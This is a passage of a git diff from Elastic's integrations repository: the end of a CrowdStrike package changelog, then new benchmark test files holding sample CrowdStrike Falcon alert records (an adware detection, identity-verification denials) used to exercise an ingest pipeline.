FDR pipeline script processor. + type: bugfix + link: https://github.com/elastic/integrations/pull/3302 +- version: "1.3.2" + changes: + - description: Format source.mac as per ECS. + type: bugfix + link: https://github.com/elastic/integrations/pull/3302 +- version: "1.3.1" + changes: + - description: Update readme file. Added link to CrowdStrike docs + type: enhancement + link: https://github.com/elastic/integrations/pull/3057 +- version: "1.3.0" + changes: + - description: Update to ECS 8.2 + type: enhancement + link: https://github.com/elastic/integrations/pull/2779 +- version: "1.2.7" + changes: + - description: Move invalid field value + type: enhancement + link: https://github.com/elastic/integrations/pull/3098 +- version: "1.2.6" + changes: + - description: Add documentation for multi-fields + type: enhancement + link: https://github.com/elastic/integrations/pull/2916 +- version: "1.2.5" + changes: + - description: Add date parsing for BiosReleaseDate field. + type: bugfix + link: https://github.com/elastic/integrations/pull/2867 +- version: "1.2.4" + changes: + - description: Add missing field mapping for several event and host fields. + type: bugfix + link: https://github.com/elastic/integrations/pull/2869 +- version: "1.2.3" + changes: + - description: Change type of 'fdr_parsing_script' variable to 'yaml' so that the multi-line string creates a valid YAML config document. + type: bugfix + link: https://github.com/elastic/integrations/pull/2701 +- version: "1.2.2" + changes: + - description: Add Ingest Pipeline script to map IANA Protocol Numbers + type: bugfix + link: https://github.com/elastic/integrations/pull/2470 +- version: "1.2.1" + changes: + - description: Fix issue with "Is FDR Queue" selector having no effect. + type: bugfix + link: https://github.com/elastic/integrations/pull/2653 +- version: "1.2.0" + changes: + - description: Update to ECS 8.0 + type: enhancement + link: https://github.com/elastic/integrations/pull/2398 +- version: "1.1.2" + changes: + - description: Regenerate test files using the new GeoIP database + type: bugfix + link: https://github.com/elastic/integrations/pull/2339 +- version: "1.1.1" + changes: + - description: Change test public IPs to the supported subset + type: bugfix + link: https://github.com/elastic/integrations/pull/2327 +- version: "1.1.0" + changes: + - description: Add 8.0.0 version constraint + type: enhancement + link: https://github.com/elastic/integrations/pull/2229 +- version: "1.0.4" + changes: + - description: Add ability to read from both FDR provided and user owned SQS queues for FDR. + type: bugfix + link: https://github.com/elastic/integrations/pull/2198 + - description: Pipeline fixes for FDR + type: bugfix + link: https://github.com/elastic/integrations/pull/2198 +- version: "1.0.3" + changes: + - description: Uniform with guidelines + type: enhancement + link: https://github.com/elastic/integrations/pull/2022 +- version: "1.0.2" + changes: + - description: Update Title and Description. + type: enhancement + link: https://github.com/elastic/integrations/pull/1961 +- version: "1.0.1" + changes: + - description: Fix logic that checks for the 'forwarded' tag + type: bugfix + link: https://github.com/elastic/integrations/pull/1812 +- version: '1.0.0' + changes: + - description: make GA + type: enhancement + link: https://github.com/elastic/integrations/pull/1630 +- version: "0.9.0" + changes: + - description: Update to ECS 1.12.0 + type: enhancement + link: https://github.com/elastic/integrations/pull/1655 +- version: "0.8.1" + changes: + - description: Add proxy config + type: enhancement + link: https://github.com/elastic/integrations/pull/1648 +- version: "0.8.0" + changes: + - description: Add FDR data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/1522 + - description: Change Falcon ECS fields definition to use references + type: enhancement + link: https://github.com/elastic/integrations/pull/1522 + - description: Add cleanup processor to Falcon + type: enhancement + link: https://github.com/elastic/integrations/pull/1522 +- version: '0.7.1' + changes: + - description: update to ECS 1.11.0 + type: enhancement + link: https://github.com/elastic/integrations/pull/1378 +- version: "0.7.0" + changes: + - description: Update integration description + type: enhancement + link: https://github.com/elastic/integrations/pull/1364 +- version: "0.6.0" + changes: + - description: Set "event.module" and "event.dataset" + type: enhancement + link: https://github.com/elastic/integrations/pull/1258 +- version: "0.5.0" + changes: + - description: update to ECS 1.10.0 and add event.original options + type: enhancement + link: https://github.com/elastic/integrations/pull/1036 +- version: "0.4.1" + changes: + - description: update to ECS 1.9.0 + type: enhancement + link: https://github.com/elastic/integrations/pull/841 +- version: "0.4.0" + changes: + - description: Moves edge processing to ingest pipeline + type: enhancement + link: https://github.com/elastic/integrations/pull/774 +- version: "0.3.1" + changes: + - description: Change kibana.version constraint to be more conservative. + type: bugfix + link: https://github.com/elastic/integrations/pull/749 +- version: "0.1.0" + changes: + - description: initial release + type: enhancement # can be one of: enhancement, bugfix, breaking-change + link: https://github.com/elastic/integrations/pull/182 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml new file mode 100644 index 0000000000..30a2b50cf6 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml @@ -0,0 +1 @@ +num_docs: 10000 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log new file mode 100644 index 0000000000..c0e095d6dd --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log @@ -0,0 +1,10 @@ +{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} +{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain Access","pattern_id":51143,"poly_id":"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"High","show_in_ui":true,"source_account_azure_id":"65ddx-c454-45f9-9034-Fdf34353","source_account_domain":"NET.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1567733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"E436B3F0-078C-4629-9437-D3E3169147C0","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293534662e48c99f33c61631b3536d","source_products":["Falcon Identity Protection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"Credential Access","tactic_id":"TA0006","technique":"Brute Force","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E","target_endpoint_account_object_sid":"S-1-5-21-746137067-1844237615-1801674531-298236","target_endpoint_host_name":"GH787.net.example.com","target_endpoint_sensor_id":"ac89a368e77a4fa5837b53c7f11fc9e7","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge 126.0.0","activity_device":"LAPTOP-AP7299QV","activity_os":"Windows","active_directory_authentication_method":"5","activity_id":"2A8A7C96-0F17-412C-8105-94542784E00D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":340726,"location_longitude_as_int":-1182610,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"9F2CE16C-4A78-42E6-8565-87147707EE79","source_endpoint_account_object_sid":"S-1-5-21-111111111-2222222-1417001333-101158","source_endpoint_ip_reputation":"128","source_ip_isp_classification":"9","source_ip_isp_domain":"sioru.com","target_domain_controller_host_name":"APINTAL19DC01","target_domain_controller_object_guid":"45A24DB7-6CD3-48C5-974F-A97159E7E2B2","target_domain_controller_object_sid":"S-1-5-21-111111111-2222222-1417001333-85512","target_service_access_identifier":"HOST/admin.example.com"} +{"aggregate_id":"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9","agent_id":"58293534772e48c99f33c61631b3536d","cid":"4446934rf3fdb64ec3056ddfb96e","context_timestamp":"2024-08-19T18:43:44.242Z","composite_id":"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","crawled_timestamp":"2024-08-19T18:49:02.798354466Z","created_timestamp":"2024-08-19T18:45:02.987127397Z","data_domains":["Identity"],"description":"Auserdeniedapolicyidentityverificationrequest","display_name":"Identityverificationdenied","end_time":"2024-08-19T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429","idp_policy_mfa_factor_type":"42669","idp_policy_mfa_provider":"11","idp_policy_rule_id":"123324-343-4dfa9E0-8F85-dfaa3242","idp_policy_rule_name":"admin-RDPAccesstoTIER-0Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"GainAccess","pattern_id":45897,"poly_id":"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"Medium","show_in_ui":true,"source_account_azure_id":"65ddx-c454-324d-9034-Fdf34353","source_account_domain":"BCD.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1117733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"FDHJJ343-098C-4629-9437-DD3424GHJ","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293523261gh48c99ffd234c6190123536e","source_products":["FalconIdentityProtection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"CredentialAccess","tactic_id":"TA0006","technique":"BruteForce","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536","target_endpoint_account_object_sid":"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236","target_endpoint_host_name":"GH787.abc.example.com","target_endpoint_sensor_id":"afdsasf3423432nndv3432v","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge126.0.0","activity_device":"LAPTOP-ADFVEJM234V","activity_os":"Windows","active_directory_authentication_method":"4","activity_id":"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":320316,"location_longitude_as_int":-12729080,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"78HF9842-HGG5-324F-9565-GJD47324","source_endpoint_account_object_sid":"S-1-4-21-111111111-2222222-14171121333-1045999","source_endpoint_ip_reputation":"118","source_ip_isp_classification":"8","source_ip_isp_domain":"abc.com","target_domain_controller_host_name":"GHPOTAL12578","target_domain_controller_object_guid":"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1","target_domain_controller_object_sid":"S-2-8-21-333333-2222222-3431-95511","target_service_access_identifier":"HOST/root.demo.com"} +{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.m